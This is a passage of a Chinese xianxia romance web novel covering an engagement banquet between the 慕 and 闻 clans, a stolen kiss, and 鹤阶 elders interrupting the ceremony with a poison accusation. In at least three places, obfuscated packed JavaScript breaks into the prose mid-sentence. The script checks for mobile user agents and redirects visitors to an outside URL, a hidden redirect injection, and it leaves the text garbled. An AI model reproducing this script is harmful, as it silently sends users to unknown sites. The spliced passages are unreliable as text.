世人都说慕二小姐脾性顽劣,离经叛道,闻惊遥却熟知那些不过是少女时的赌气,她总爱跟朝蕴对着干,可实际上她心思沉闷,思虑甚远,重情重义。 他们两人走远了,慕夕阙收起笑:“今日忙吗,我来帮你迎客吧?” 闻惊遥下意识推拒:“不必劳你费心。” “我的订婚宴,我怎么着也得干点活吧?” 慕夕阙却已经朝着闻家正门走去。 闻惊遥抿了抿唇,默然跟上去。 庄漪禾身边围了十几个身着紫色长衫的人,为首一人姿容明丽,皓齿蛾眉,眼角略有些细纹,周身气息庄重温婉,穿着打扮也不像寻常人。 见慕夕阙和闻惊遥走来,庄漪禾赶忙上前握住慕夕阙的手:“小夕来了,这位是千机宗宗主夫人。” 慕夕阙扯出笑:“见过夫人。” 千机宗宗主夫人名唤周云姝,是沅湘周家的二女。 周云姝浅笑颔首:“慕二小姐。” 庄漪禾笑着开口:“云姝鲜少出宗,定是没见过小夕——” 话还未说完,远处听得几声朗然笑声。 “庄夫人可说错了,慕二小姐和周夫人见过的。” 人群自动避让出一条小路,身着云蓝长衫的人走出,模样只是中年,一头黑发却白了大半,容貌周正,笑眯眯的模样瞧着倒挺慈善,身旁还跟了些穿着同样色系衣裳的两位长老和一些年轻弟子。 庄漪禾的笑有一瞬间的凝滞,但转瞬消失不见,她忙笑着上前:“见过白长老,旷悬仙长。” 白望舟瞧着没有鹤阶其余长老的肃重,更像是个温和的长辈,说道:“不必多礼,今日我也是代鹤阶前来送礼,一切如常便可,莫要让孩子们拘束。” 白望舟和旷悬走上前,身后跟了乌泱泱的鹤阶弟子。 闻惊遥眉头微蹙,瞧了眼庄漪禾,她虽还在笑,但脸色明显也凝重了几分。 来参加婚宴带十几个内门弟子便够了,鹤阶却带了三十余人。 鹤阶与慕家不太对付,闻惊遥侧首去看慕夕阙,恐她心里不舒服,余光落至她身上,而她眼也不眨盯着鹤阶的人。 “……夕阙?”趁鹤阶之人和庄漪禾寒暄,闻惊遥垂手牵住慕夕阙的手腕。 他摸到一手冰凉,心下一沉,刚要开口询问,攥着的手动了动,慕夕阙侧首与他对视,笑了笑,回握住他的手,在他掌心挠了挠。 “无事。” 白望舟和旷悬走上前,两人满面笑容。 白望舟笑呵呵道:“庄夫人记性不好,难道忘了,慕二小姐的父亲和千机宗大长老交好,幼时可是带慕二小姐去过千机宗的,二小姐当然见过周夫人。” 庄漪禾笑了笑,颔首道:“我倒是忘了。” 旷悬走上前,捋了捋臂弯的拂尘,温声问慕夕阙:“慕二小姐,可还记得老道呢?” 慕夕阙笑盈盈看着他,说道:“自然记得。” 怎么会忘了呢? 他站在高处,厉声说道:“慕家大弟子蔺九尘,身染秽毒,后患无穷,若你想保全慕家名声便自戕谢罪,否则便由我们鹤阶出手,届时兴许便无法留你全尸了!” 他站在万人面前,统领整个鹤阶和十三州半数仙门,对她一挥拂尘:“鹤阶听令,格杀勿论!” 杀兄之仇,十年囚禁,诛魂之痛。 她怎么可能会忘了。 13.第 13 章 旷悬递过去个鎏金嵌玉的四方小盒:“二小姐与闻少爷喜结良缘,实乃两家之喜,鹤阶赠礼,望二位喜欢。” 庄漪禾和闻惊遥下意识皱眉,慕家与鹤阶之间的龃龉整个十三州都知晓,两人都以为鹤阶揣着坏,闻惊遥上前一步,便欲在慕夕阙之前接过赠礼。 一只刚染了豆蔻的手却先他一步,接过了那个嵌玉小盒。 众人看去,周云姝一手托着木盒,见状浅笑道:“十三州婚宴有规矩,订婚当日,宾客随礼得到点契后由夫妇二人清点,如今两人尚未点契,我便先替二小姐接过了。” 她说完,看了眼远处端着托盘点礼的闻家弟子,那弟子会意,举着托盘上前,周云姝将赠礼放于其上,说道:“记,鹤阶赠礼。” “是。”闻家弟子颔首。 旷悬收回手,拂尘依旧架在臂弯,他笑着说:“还是周夫人思虑周到。” 庄漪禾出来接话:“长老们此番劳顿,宴席约莫得到申时,闻家准备了休憩的地方,不若去歇息会儿。” 她使了个眼色,有接待宾客的闻家弟子上前,抬手做请:“长老,请随弟子来。” 旷悬和白望舟笑呵呵招呼身后的鹤阶弟子跟上闻家子弟。 慕夕阙纹丝未动,从始至终都未抬过手,只瞧着周云姝的侧脸。 她与周云姝交情不深,上辈子也没见过几回面,周云姝死得也早,在慕夕阙血洗千机宗前,她已经离世多年,只知是死于病故,至于是否真的如此,慕夕阙也并未探查。 可周云姝今日帮了她。 待鹤阶之人离开,庄漪禾顿时冷了脸:“小夕,惊遥,白望舟擅毒,此次鹤阶送的任何东西都会单独搁置在一间房,待闻家确定无误后再记入随礼。” 闻惊遥颔首:“嗯。” 慕夕阙没说话,庄漪禾的思虑她是知晓的,但鹤阶不至于蠢到在随礼上下毒,这礼无毒,鹤阶此番目的并不在于用随礼来毒害慕家。 而是另有所图。 庄漪禾拉过周云姝的手:“多谢你了,云姝。” 庄家与沅湘周家是旧识,庄漪禾和周云姝更是自小一起长大,情同亲姐妹,因此有些话也不会避着她。 “无事。”周云姝眉宇温和,觉察到慕夕阙看来的目光,抬眸与她对视,说道:“我与你爹娘有些交情,慕家主与风煦是挚友,作为长辈还是想劝你几句,有些事尽早放下,方能保全性命。” 庄漪禾拉了拉她:“云姝,别说了。” 闻惊遥蹙眉,能听出来周云姝的意思,看向身侧的慕夕阙。 慕夕阙眉眼弯弯,好似什么都没听出来,闻言说道:“周夫人说的是,晚辈谨记。” 门外人越来越多,庄漪禾瞧了眼闻惊遥:“惊遥,送小夕回去吧,过会儿该梳妆了,这里阿娘在就行。” 闻惊遥明白她的意思,鹤阶到了闻家,变故便随时会来。 “嗯,是。” 慕夕阙并未多问,也道:“那我便先离开了,有劳庄夫人。” 她转身离开,闻惊遥跟在她身侧,今日闻家主宅罕见嘈杂,东边迎客的地方尽是人,越往西边主宅走,便越是安静,这里是住的区域,不会有外客无故前来。 一路上两人并未说话,闻惊遥送她回到画墨阁,慕夕阙半分不弯绕,直接进了寝殿。 闻惊遥在外站定,门并未关,那是她留给他的门。 “进来。” 屋里传来她的声音。 闻惊遥薄唇微抿,抬步入屋。 慕夕阙坐在妆奁前,铜镜倒映出她的脸,未施粉黛依旧昳丽,她正慢条斯理解发,桌上搁了把梳篦。 闻惊遥掀开珠链进入内厅,与铜镜中倒映出的人对视。 “夕阙,一个时辰后会有人来帮你梳妆换衣,今日要忙许久,你可先休息会儿。” “你觉得周夫人说的话对吗?”慕夕阙似在闲聊,微微侧首取下发髻上的金钗,那钗尾略弯,勾了她一缕青丝,她正解着。 闻惊遥上前,抬手执起金钗,耐心轻柔绕出勾缠的头发,垂眸道:“明眼人都能看得出来,慕家要想保全自己,交出十二辰是最好的法子。” “你觉得我该交吗?” 慕夕阙眼神冷淡,盯着镜子中倒映出的人影,闻惊遥站在她身后,眉目温和清俊,他做事一向有耐心,她生拉硬扯的头发,他偏要一根根解开。 “你不会交的,朝家主也不会同意的,慕家上下没有怕死的人。”闻惊遥并未直接回答她的问题,而是用另一种话回应她。 他解开那根金钗,拿起梳篦将略显凌乱的青丝梳顺。 “你一直在查慕家主和你长姐的事,我知道。” 他很早就知道了,纵使整个慕家勒令不许去查,但她一直在查。 慕夕阙面无表情:“你会阻拦我吗,日后我们若成婚,我还要去查这些会引火烧身的事,难免会牵连你。” “只管去查。”闻惊遥放下梳篦,替她拆下其余金钗,始终未曾抬眸与镜中的她对视,而是专心帮她解发,淡声说:“你守着慕家,我守着你。” 这些在旁人说来明显像是情话的话,他却当成承诺,用淡而坚定的语气说出。 他已经替她解下所有金钗,正要拿起梳篦替她梳发,慕夕阙忽然握住他的手。 她转身,依旧坐在木凳上,脊背倚靠着妆奁台边,姿态懒洋洋的,扯住闻惊遥的手用力了些。 “你低些。” 闻惊遥看着她,耳根红了些,指尖微蜷却并未松开,喉结滚了几下,在她又拉了他一次后,他俯身凑近她。 馥郁的香毫无遮掩袭来,她扑入怀中,融化了他常年微凉的体温,眼前红影一闪而过,他一个元婴满境的修士,甚至来不及反应,又或许是那一刻魔障了,总之他未动。 唇上被咬了一口,闻惊遥感知到一股灼热。 那是她唇上的温度,让他的神魂也随之烫了起来。 闻惊遥完全愣住,颈后缠上她的手臂,宽大的红袖下滑,如玉的臂弯拢着他的脖颈,他听到她贴着唇笑了声,念了十几年的清心经忘得一干二净,闻家千咛万嘱的清规戒律在那一刻也被打碎得一丝不剩。 他感受到对方在缓慢轻柔,一点点试探性地啄吻他的唇,两人身上一浓一淡的体香交杂在一起,融化成一种别具的气息。 少年一时松懈,手上握着的梳篦掉落在地,扑通砸响的声音在静谧的屋内分外清楚。 “夕阙。” 闻惊遥反应过来,微微偏头,他闭上眼,气息沉了几分。 慕夕阙还搂着他的脖颈,歪歪脑袋看他,脸上挂着狡黠的笑:“我还亲不得?” 她自然亲得,这世上能亲他的只有她一人,但不是现在。 她心思沉闷,想法也多,闻惊遥拿捏不准她这会儿为何这般做,握住她的小臂,沉声说:“现在不合适。” “在你们闻家不合适,在我们慕家可合适。”慕夕阙不松手,谅他也不敢用力,她凑上前盯着他的眼眸,“你说过我不必按你们闻家家规行事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432685|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伶牙俐齿,能说会道,偏生他还没办法。 慕夕阙戳戳他红透的耳根,吐气如兰:“我亲你了,有来有往,该你了。” ……这怎么能有来有往? 闻惊遥僵住,张了张唇,似乎想要反驳,一根手指竖在他的唇上。 “嘘,闻少主,直面自己的心没什么不合适的。”慕夕阙凑近,唇几乎贴在他的唇边,小声说:“想做什么,就随着你自己的心,让我瞧瞧,你有多喜欢我?” 什么家规,什么戒律,统统丢掉。 窗外的光落在她的脸上,莹白的肌肤上淬着金色的阳光,这般近的距离,他瞧见细小的绒毛,以及她如墨的瞳孔,那双眼里过去从未有过他,如今倒映出的全是他。 闻惊遥无法去掩饰自己的情动,也没办法虚伪地否认自己没有杂念渴望,他这般想要靠近她,过去却必须压制自己,看她与燕如珩越走越近。 如今她来了闻家,过了今日点契礼,两家族谱上便会刻下彼此的名字,他们这桩婚事便只差一个一年后补上的婚契和婚宴。 他看了许久。 可最终,闻惊遥并没有亲吻她的唇。 他低下头,高挺的鼻梁埋进她的脖颈,双手环住她的腰身,他的呼吸喷涂在她的颈侧,她的气息又沿着鼻翼丝丝缕缕涌入。 “……夕阙。” 声音明明仍旧清洌,却又比平日沉重多了,她听出了那股克制和压抑,它不如过去坚定,似乎正在一点点崩塌,就宛如一盏看似坚硬完整的瓷瓶,如今它出现了一道裂纹。 很细小,但迟早会吞噬整个瓶身。 慕夕阙由他抱着,环过少年苍劲有力的腰身,被他如雪竹般清凉的气息裹挟。 “闻惊遥,别走了,陪我休息会儿吧。” - 闻家主宅东向,杂杳纷乱,人头攒动。 厢房内,旷悬和白望舟并肩坐于主座,正低头饮茶,三十六个鹤阶弟子分为两排,为首的一名鹤阶弟子穿着区别于其余弟子,腰佩蓝玉玉符。 旷悬用杯盖轻轻撇去茶沫,淡声道:“阿焕,去吧。” “是。” 阿焕拱手行礼,打开后窗,翻身跃出,身影快如残风,眨眼消失。 而距此相隔二十余座厢房之外,一处小院中搁满了物品,姜榆蹲在地上抓狂揉脸:“为什么这些活儿要我们来干,在慕家点点账也就算了,来闻家还得点!” 蔺九尘一手托着账本,一手执笔,脸色也不好看。 “闻家安排的,问闻家人去。” 姜榆的头发被她揉得一团乱,认命起身接着清点。 蔺九尘咬着笔杆,一手拨算盘,含含糊糊说道:“金家,白玉珊瑚一对,银两万金。” 虚掩的门缝内,一团黑雾悄无声息飘了进来,直冲蔺九尘而去。 黑雾钻入蔺九尘的衣袖,门外之人离开。 他脚步匆匆,行走在林中小道,越走越急,路过一处拐角,遮天蔽日的巨树挡住了他的视线,一个没注意,与另一侧走来的人撞在一起。 阿焕抬眸去看,对面是个年纪不大的少年郎,穿着闻家内门弟子的服饰,手上还端着托盘。 瞧清那人内门弟子的衣裳,他手上蕴出的杀招瞬间消去,忙低头道:“道友,抱歉。” 对面的闻家弟子揉揉肩头,低头捡起从托盘上滑下去的瓷瓶,说道:“无事,你是鹤阶弟子吧,快些去吧,待会儿便要开席了。” “是。” 他匆匆点头,快步离开。 14.第 14 章 未时正,画墨阁外传来些动静。 “少主,二小姐,该换衣了。” 闻惊遥即刻惊醒,眉头微拧,床帐散了下来,遮住从窗外扫进来的光,周围便暗了许多,他方要起身便觉察出不对劲的地方。 怀里躺了个人,她的存在无法忽视,分外清楚,他熟悉她的气息,熟悉她的一眉一眼,即使帐内黯淡无光,他过人的眼力也能瞧清楚那张脸。 慕夕阙脱去了外衫,窝在他的怀里,双臂揽住他的腰身,呼吸喷涂在他的锁骨处,温温热热,又撩人心弦。 闻惊遥愣了下,闭上眼别过头,手背搭在眼睛上,沉沉叹了声。 他也不知自己怎会在她的那句话后,清规戒律丢得一干二净,便真留下来陪她休息了,唯一坚守的便是躺在了软榻上,而她睡在主榻。 可他似乎睡沉了,连她何时睡在他身边都未察觉。 她躺在怀里,还未醒来,闻惊遥只能传音让外头守着的人暂等片刻,他低头去看,这距离太近,他能瞧清楚她每一根纤长的睫毛。 慕夕阙有一头及腰青丝,浓密顺滑,没有满头金钗挽起,有些搭在他身上,有些散在锦枕上。 闻惊遥看了会儿,抬起手,轻轻拂开她挡脸的发,他稍稍侧身,两人几乎面对面。 只是想看看她,他鲜少有这般近距离瞧她的时候,珍贵又不舍,即使只看一会儿也足够了。 可她睁开了眼。 双目相对,她的眸色深,尚带些方睡醒的困意,闻惊遥怔然,唇瓣抿了抿,不知该不该解释他们如今的状况,本就嘴笨,担心自己说错话惹她不开心。 “该换衣了?”慕夕阙直接开口,并未收回环住他腰身的小臂,而是又往他身侧凑了些,脑袋埋进他怀里,嘟囔道:“好困,果然正午休息,越睡越困。” 闻惊遥没有午休的习惯,一日只睡不到三个时辰,日常便是练剑,巡街,去学宫教习。 而慕夕阙每日正午却都要睡会儿,她除了修炼便独爱睡觉。 少年身子略僵,修长的手抬起,在虚空停滞了瞬,然后慢而小心地落在慕夕阙的脑后,丝绸般的头发穿过指缝,他轻轻顺了顺。 “那再睡一刻钟?” 慕夕阙闷闷笑了两声,在他怀里仰起头:“闻大少爷,梳妆的人都来了,不能让人家等着吧?” 闻惊遥垂眸,喉结滚了滚,应道:“嗯,好。” 慕夕阙坐起身,没解释自己为何会跑到他的榻上睡,这整个画墨阁都是闻家为她修建的,屋里哪个地方她不能去,左右闻惊遥也没问。 她的外衫脱去,便只穿着一身白色里裙,腰身纤细,垂下的发晃晃悠悠,闻惊遥别过头,错开目光。 他的外衫叠得整整齐齐,搁在软榻旁的小木几上,象征闻家内门弟子的玉符和同心玉牌也搁置在旁边。 闻惊遥也坐起来,背过身穿上外衫,束好腰封,将玉符收起,玉牌挂在腰间,他鲜少有睡得这般沉的时候,但他睡觉一向规矩,应当没做什么出格的举动。 身后有窸窣的声音,似乎是她在换衣,她半分不避讳便是知晓他不会转过身,闻惊遥不知她为何忽然这般信任他,但她肯主动亲近他,也是他过去求之不得的事。 “夕阙,我也去准备,待会儿弟子们会进来替你梳洗换衣。” “嗯。” 这屋内的香太过浓郁,闻惊遥觉得自己身上也被熏上了气味,他推门离开后还能嗅到那股馥郁的香。 慕夕阙坐在妆奁前,门开又关,又再次被人推开。 这次进来的是几位女弟子。 “二小姐,该换装了。” “有劳了,多谢。” 慕夕阙起身,朝水房走去,路过内厅屏风后的八仙桌,顺手拾起桌上倒置的香炉盖子。 她抬手,将那香炉盖上,焚了半日的香被熄灭。 - 朝蕴来的时候,蔺九尘和姜榆方点好礼,正招呼两家弟子收入家库。 见到她来,两人放下手头的活,齐齐行礼:“师娘。” “不必多礼。”朝蕴也换了身肃重的礼服,揉揉姜榆的脑袋,温声问:“累吗?” 姜榆是慕峥在一个寒冬雪日捡回来的孤儿,到家之时尚在襁褓中,但慕峥离世得早,这些年都是朝蕴在教导她,虽是师娘,却像师父。 她的小脸一撇,往朝蕴身上一倒,抬手扶额:“干了这活儿,我觉得自己的算学如今简直强得可怕,比学宫里的先生教十几堂课都有用。” 满不正经的话将朝蕴和蔺九尘逗笑,朝蕴摸摸她的头,温声道:“去歇会儿,待会儿该开席了,我和你师兄说会儿话。” 姜榆并未多问,她年纪小,许多事朝蕴都是差使蔺九尘或慕夕阙去办,有些事不让她听自是有他们的道理,闻言点点头:“好,那我去休息。” 她刚一走,朝蕴便看了眼蔺九尘,两人进了隔间。 门关上,蔺九尘补了个隔音阵。 朝蕴皱起眉:“徐无咎如今还在闻家?” 蔺九尘颔首道:“嗯,弟子将他藏得好好的,您放心,他修为不高,解不开我的缚仙索。” “他还不肯说?” “是,他要知晓十二辰的消息,才肯主动告知我们真相。” 朝蕴脸色一冷,嗤了一声:“痴心妄想。” 她转身踱步至桌旁坐下,柳眉紧皱,面色凝重,屈起的手有一搭没一搭敲着木桌,有些时候慕夕阙的一些习惯也是被她潜移默化影响的。 “本想不知不觉把他带走,但谁料闻时烨出了事,如今东浔主城结界玉灵全数打开,戒守森严,订婚宴过后,我们还不知如何带他离开,鹤阶定然知晓是你将他带走了,怕也在暗中盯着慕家。” 蔺九尘垂眸,神情也凝重了几分。 他自然知晓朝蕴的担忧,订婚宴过后,按道理他们便应启程回淞溪了,可如今多了个徐无咎,出入城门都需验身,怕是难以安然穿过闻家主城的结界玉灵。 “本不欲告知小夕,这是她的订婚宴,我恐她无法安心订婚。”朝蕴长叹一声,“但如今看来,怕是要让她帮忙了。” 院外锣鼓喧天,乐声响遏行云,朝蕴和蔺九尘看去。 要到申时了,订婚宴将开席。 - 十三州婚宴规矩繁琐,尤其是那些延绵千年的豪门望族,闻家和慕家皆位望通显,礼数便也得照最为完整的流程来走,男方家下礼书,订婚宴择其中一家来办,设宴三日,第三日需向两家掌权人敬茶,由长辈点契。 点契后,两家族谱上会刻入彼此的姓名八字,由司天监合双方八字定下婚期,婚宴当日缔结婚契。 未时三刻,宾客陆续入席。 鹤阶地位崇高,除却慕家和闻家两方当事家族外,鹤阶的位置在最前,旷悬和白望舟坐于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436891|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两把檀木椅前,身后三十六位鹤阶弟子分两竖列立于其后。 世家门派们按家族就坐,中间留了一条铺上红绸,宽约十丈的通路,通道尽头有座圆台,圆台外摆了九把宽椅,是慕家和闻家掌权之人待会儿要坐的。 朝蕴带了三位慕家威望深重的长老,闻承禺和庄漪禾以及三位闻家长老也陆续从两边入座。 闻惊遥早便到了,这身青红婚服为交领广袖的样式,绣了提花缎纹的腰封上还嵌了朱红玛瑙,玉冠也由润泽羊脂玉换成了青红镶金的发冠,他身段好,光是站着也好看。 庄漪禾瞧着直点头,方要跟夫君夸夸自家儿子,一扭头瞥见闻承禺肃重的脸,没好气地瞪了他一眼,小声嘟囔:“儿子订婚,你能别甩张脸吗,待会儿小夕敬茶,你给人家点好脸色。” “嗯,知道了。”闻承禺应了声。 庄漪禾嗔了他一句:“我真是欠你们父子两个的。” 成婚多年,两人相处也是不冷不淡,便是连庄漪禾都鲜少见他的笑,生了个独子,儿子还随了他爹,小小年纪便老成稳重。 申时正,订婚宴开始。 闻惊遥长身玉立,遥遥看去,掩在宽袖中的手无意识蜷起,喉结滚了又滚,他自小便老成淡定,鲜少有这般紧张的时候,细想一下,好似为数不多的几次无措都是在她的面前。 就好比此刻。 慕夕阙从远处沿着那条他昨晚亲手铺上的鎏金红绸走来,华丽的金钗和步摇在光下折射出细碎的金光,描了妆容的脸耀眼夺目,她本就姿容艳丽,如今更显仙姿佚貌。 她高傲似丹鹤,这身婚服削去了些往日的清寒疏离,她看着他,眉眼弯弯,笑靥动人。 他从不敢设想有今日,他珍而重之、平生唯一能乱他心神的人,穿着与他相配的冠服,和着鸾歌鼓声朝他走来,一步步来到他身前。 她伸出手,说道:“回神了,闻大少爷。” ……他又失态了。 握惯了剑的手摊开在他面前,闻惊遥抬手,慢而紧地握住,唇角微弯,从喉口挤出声明显带了笑意的回应。 “夕阙。” 慕夕阙还在笑,由他握住手,牵着她走剩下的红绸。 两侧台下坐了上百人。 师盈虚坐在师家最前的位置,脸上挂着笑,是由衷的欢喜,纵使她觉得闻惊遥不衬慕夕阙,但挚友订婚,她仍会送上最好的礼,带着最诚挚的心来贺喜,祝愿这位好友未来生活顺遂,喜乐安宁。 蔺九尘和姜榆坐在慕家的队列中,身后有十几位慕家弟子,总之她看过去,无一人是不笑的。 还有许多不太熟识的人,纵使再不熟,为了面子也会装出贺喜的模样,对她温声道喜。 包括鹤阶的人和燕家之人。 燕青来重伤,燕家领头的人便只剩燕如珩,他正身端坐,清俊的面上瞧不出半分不愠,在她看过来的时候,对她颔首道:“小夕,恭喜。” 旷悬和白望舟也笑着说:“祝慕二小姐与闻少爷鸾凤和鸣,百年之好。” 慕夕阙和闻惊遥停在红绸尽头,回头看去。 乌乌泱泱坐满了人,她看到不少熟悉的脸,几乎刻入她的神魂,死都忘不了。 那些上辈子围剿慕家、追杀她百年的人,有些她后来亲手手刃,有些她至死都未能枭首报仇。 今日来了不少。 都在这场订婚宴上。 15.第 15 章 随着一声鼓响,闻承禺和朝蕴同时起身,两位家主各持一边,各自取出枚玉符。 慕家内门玉符为丹红色,正面单刻“慕”字,背面则雕莲纹,而闻家玉符则为湖青色,正刻“闻”字,背雕落花流水纹。 朝蕴将玉符递给闻惊遥:“惊遥,慕家玉符,你且拿好,日后慕家地界可无令直行,若在外遇到危险,便去寻最近的慕家暗桩。” 闻惊遥双手接过,颔首道:“谢过朝家主。” 两家少主定亲,需交换彼此的家族玉符,每家玉符只有直系弟子才可持有。 闻承禺则步行至慕夕阙面前,纵使今日是闻惊遥订婚,他这个当家主的也并未有明显的喜悦,好似在举办一场无关紧要的仪式。 “闻家玉符。”他将玉符递过去,言简意赅,看了眼慕夕阙腰间的玉牌,又道:“但不如惊遥给你的同心玉牌用处广,你平日带着同心玉牌,便可调令闻家弟子,这是闻家门规。” 寻常家族玉符只能起到同行求助、表明身份的作用,但闻家嫡传一生一对的同心玉牌,持有者却可调令闻家弟子。 朝蕴也知晓同心玉牌是何物,之前倒是未注意慕夕阙腰间还悬了块玉牌,闻言垂眸去看,眉梢微动,似乎笑了下。 闻惊遥别过头,他脸皮薄,对上朝蕴促狭的目光,只能选择看慕夕阙。 慕夕阙从容接过闻家玉符:“谢过闻家主。” 闻承禺应了声:“嗯。” 态度仍旧不冷不淡,慕夕阙也不在乎,这位闻家家主什么性子全十三州都知晓,闻家人大多都话少内敛,性情寡淡,更何况她与闻承禺也没见过几回。 她与闻惊遥生在这般家族,婚事便很难自己做得主,必须得找个门当户对能撑得起门楣的,不知闻家看上慕家什么了,但慕家是冲着闻家的兵力去的。 而闻惊遥却将可以调动闻家三分之一兵力的同心玉牌给了她。 互换玉符过后,操持宴席的人出来说话,都是些生涩拗口、听不太懂的话,慕夕阙也没心情听,闻惊遥倒是能听懂,他学识渊博,于是他做什么她便做什么。 让上香就上香,让跪拜就跪拜。 这规矩繁琐又漫长,鸾歌声从未停下。 姜榆往蔺九尘身边凑了凑,压低声音说道:“师兄,你说师姐忽然这般配合,心里是不是憋着什么鬼点子呢?” 蔺九尘看都未看她,抬起手按住她的额头往后推,没好气道:“你就不能盼点好的。” 姜榆瘪瘪嘴道:“师姐什么性子你又不是不知道,若论犟,她称第二便无人敢当第一,师娘说往东她偏要往西,如今怎么这般听话,让订婚便订婚。” 蔺九尘一言不发,双手环胸坐着,黑眸沉沉看向高台上的慕夕阙,她正规规矩矩完成这场订婚宴,这些天她与闻惊遥亲近不少。 他也想不明白,慕夕阙心里从无情爱一事,是个实打实的剑痴,缘何忽然应下这桩婚事,并与闻惊遥关系融洽许多? 她不是会委屈自己的人,若无情爱,为何做到这种地步? 姜榆还在一旁嘀咕:“而且师姐对燕少主也一反常态,以前他们关系多好啊,如今我总觉得师姐在疏离燕少主,否则昨日那事若按过去的她,只会私下将燕青来打一顿,断不会当众给燕少主难堪。” 蔺九尘皱眉,朝燕如珩瞧去。 他今日依旧一身白衣,正身肃坐,面上是挑不出毛病的笑,十三州无人不知他喜欢慕家二小姐,都以为此次慕闻两家定亲,燕家为了避嫌会另选他人来献礼。 可燕如珩却亲自来了,出现在心上人和旁人的订婚宴上。 蔺九尘微微眯眼,盯着燕如珩,乐声震耳,灵力幻化出的花瓣从天落下,为他遮挡了些,燕如珩似乎并未察觉,依旧端着笑,身后的燕家人也瞧不出半分不忿。 再看鹤阶之人,俨然忘了自己与慕家之间的过往,就像在瞧一个亲近小辈的婚事般,旷悬和白望舟温和轻笑,周身气息平和。 今日这订婚宴,总觉得不会太平。 申时二刻,台上的订婚宴已经走至最后一步—— 点契礼。 慕夕阙和闻惊遥上前敬茶,向两家当家、长老一一献茶。 随后随着司正高呼:“祭族谱,换庚帖——” 每家每派的族谱都由灵力刻入,在订婚时由两家家主在族谱上写上生辰八字,便算入了谱。 十三州世家子弟们成婚,事关两家颜面,订婚后便几乎不可能退婚,点契礼结束,这桩婚事成了大半。 朝蕴和闻承禺抬手,灵力幻化出两册厚实书卷悬浮于虚空,有弟子呈上写有两人生辰八字的庚帖,慕夕阙和闻惊遥各取出自己的那一张。 闻惊遥步于朝蕴面前,双手呈上:“朝家主。” 慕夕阙的八字要录入闻家族谱,自是去了闻承禺面前,她递上去:“闻家主。” 朝蕴和闻承禺同时接过,两人对视了眼,抬手唤出灵力,正欲将两人的八字一笔一划写上族谱—— 划破虚空的声音炸起,一道流光从台下急速窜出,停滞在离地面十几尺高的虚空,众人惊呼,抬眸望去。 一柄紫色玉刃悬停在虚空,它瞧着像是匕首的模样,在光下照耀中,隐隐有金色流光在玉中穿梭,而今那玉刃在一寸寸延长变宽,它嗡嗡震动,从不过食指大小,眨眼之间变为成年男子手臂般长宽。 闻承禺和朝蕴同时停下,皱眉看去。 坐于台下的周云姝盯着那柄紫玉长剑,眸色沉了沉,一字一句说:“不渡刀。” 鹤阶圣物,不渡生灵,只斩妖邪。 旷悬站起身,脸色凝重,方才的温和荡然无存,厉声道:“有秽毒。” 宛如一粒石子投入平静的湖面,轰然炸开。 秽毒于十三州来说,几乎是刻入骨髓的厌恶和恐惧。 在场之人瞬时起身,举剑拔刀,长老们护着弟子,蔺九尘也即刻将姜榆扯到了身后,执刀将身后慕家弟子护住。 朝蕴和闻承禺脸色煞变,疾步向前。 闻惊遥拧眉,下意识要去牵身旁的人护住,刚一抬手,便见她站了过来,与他双手交握。 “……夕阙?” 慕夕阙仰起头,淡声说:“别担心,怕是鹤阶有意找茬。” 闻惊遥颔首,低声道:“放心,我一直在。” 慕夕阙笑笑,点点头:“我自是信你。” 闻惊遥喉结滚了滚,又嘴笨了起来,他并不害怕这人人畏惧的秽毒,比起这些,更担心今日这一出会让她心里不舒服。 但眼下也不是商讨这些的时候。 朝蕴率先上前,脸色倒是一如既往淡然:“今日是我女儿和闻少主的订婚宴,怎会有秽毒出现?” 闻承禺负手而立,冷冷道:“旷悬仙长,秽毒可不是随意能开玩笑的,如今申时二刻便该点契,若误了我儿婚事,鹤阶又如何给交代?” 旷悬拱手行礼,面露难色:“闻家主,朝家主,在下并非有意延误吉时。” 说道这里顿了顿,他忽然直起身,厉甩宽袖,话锋一转沉声道:“但我鹤阶有辟恶除患,扶危济困之责,秽毒一事绝不可马虎,身染秽毒之人祟化只是一瞬间的事,若这里有只祟出现,死伤定然惨痛,请容鹤阶探查清楚。” 庄漪禾与闻承禺并肩,柳眉紧皱:“不渡刀在方寸百里内都能感知秽毒,又怎知那秽毒便在闻家主宅,我儿与慕二小姐订婚宴绝不可耽搁,若鹤阶这般随意打断,将我两家面子置于何处?” “庄夫人,您先消消气。”方才一直沉默的白望舟笑了笑,摇着蒲扇走上前来,他是个有名的笑面虎,此刻皱纹密布的脸上还挂着笑,用扇端指了指虚空疯狂旋转的不渡刀。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕夕阙安安静静与他对视,随着微风拂过,她头上繁杂的金钗步摇微微晃起来,在脸侧折出细碎金光。 旷悬皱眉,不知为何,在这一个十七岁的小辈身上,竟觉察到一股难言的—— 恐慌。 他握紧手中拂尘,沉声开口:“请慕二小姐允——” “哦,那查吧。”慕夕阙轻飘飘打断他。 朝蕴疾步上前扯住她的手腕:“小夕!” 庄漪禾也道:“小夕,不必委曲求全,查祟一事也不在这一时半会儿。” 闻承禺目光沉沉看着她,却并未说话。 